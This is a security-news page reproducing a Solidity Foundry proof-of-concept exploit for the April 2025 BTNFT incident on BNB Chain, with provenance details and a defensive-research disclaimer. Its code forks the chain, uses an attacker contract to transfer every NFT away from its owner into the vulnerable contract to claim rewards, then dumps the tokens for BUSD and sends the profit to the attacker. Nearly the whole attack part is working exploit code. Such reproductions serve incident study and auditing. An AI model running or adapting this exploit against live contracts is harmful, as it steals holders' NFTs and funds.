Skip to content
THREATWIRE

Public reproduction file

src/test/2025-04/BTNFT_exp.sol

Public reproduction file for dataset entry BTNFT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-04/BTNFT_exp.sol77 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 19025.9193312786235214 BUSD
8// Original Attacker : https://bscscan.com/address/0xbda2a27cdb2ffd4258f3b1ed664ed0f28f9e0fc3
9// Attack Contract : https://bscscan.com/address/0x7A4D144307d2DFA2885887368E4cd4678dB3c27a
10// Vulnerable Contract : https://bscscan.com/address/0x0FC91B6Fea2E7A827a8C99C91101ed36c638521B#code
11// First Attack Tx(Claim Rewards) : https://bscscan.com/tx/0x1e90cbff665c43f91d66a56b4aa9ba647486a5311bb0b4381de4d653a9d8237d
12// Second Attack Tx(Sell Tokens) : https://bscscan.com/tx/0x7978c002d12be9b748770cc31cbaa1b9f3748e4083c9f419d7a99e2e07f4d75f
13// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
15// Contracts involved
16address constant router = 0x82C7c2F46C230aabc806e3A2642F8CFbdD968ED2;
17address constant pair = 0x1e16070a8734B3d686E0CF035c05fBBC1ba21C98;
19address constant BTNFT = 0x0FC91B6Fea2E7A827a8C99C91101ed36c638521B;
20address constant BTT = 0xDAd4df3eFdb945358a3eF77B939Ba83DAe401DA8;
21address constant BUSD = 0x55d398326f99059fF775485246999027B3197955;
23contract BTNFT_exp is Test {
24 address attacker = makeAddr("attacker");
26 function setUp() public {
27 vm.createSelectFork("bsc", 48472356 - 1);
28 }
30 function testPoC() public {
31 vm.startPrank(attacker);
33 AttackerC attC = new AttackerC();
35 attC.attackTx1();
37 attC.attackTx2();
39 emit log_named_decimal_uint("Profit in BUSD", IERC20(BUSD).balanceOf(attacker), 18);
40 }
43contract AttackerC {
44 function attackTx1() external {
45 uint256 totalSupply = IERC721Enumerable(BTNFT).totalSupply();
47 for (uint256 i = 1; i < totalSupply; i++) {
48 address owner = IERC721(BTNFT).ownerOf(i);
49 IERC721(BTNFT).transferFrom(owner, BTNFT, i);
50 }
51 }
53 function attackTx2() external {
54 IERC20(BTT).approve(pair, type(uint256).max);
56 uint256 totalBal = IERC20(BTT).balanceOf(address(this));
57 uint256 amountPerLoop = totalBal / 50;
59 address[2] memory path;
60 path[0] = BTT;
61 path[1] = BUSD;
63 for (uint256 i; i < 50; i++) {
64 IRouterBTT(router).swap(
65 path,
66 false,
67 amountPerLoop
68 );
69 }
71 IERC20(BUSD).transfer(msg.sender, IERC20(BUSD).balanceOf(address(this)));
72 }
75interface IRouterBTT {
76 function swap(address[2] memory path, bool status_b, uint256 amount_) external;

Analysis

Dataset entry

Public Foundry test for “BTNFT” (2025-04-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attack Contract

    0x7a4d144307d2dfa2885887368e4cd4678db3c27a

  • Vulnerable Contract

    0x0fc91b6fea2e7a827a8c99c91101ed36c638521b

File record

Name
BTNFT
Path
src/test/2025-04/BTNFT_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
47e80ada4533e18f1e6fc63c5d7b409e36202022
Language
Solidity
Size
77 lines
Date
2025-04-18
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-04/BTNFT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 47e80ada4533e18f1e6fc63c5d7b409e36202022, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.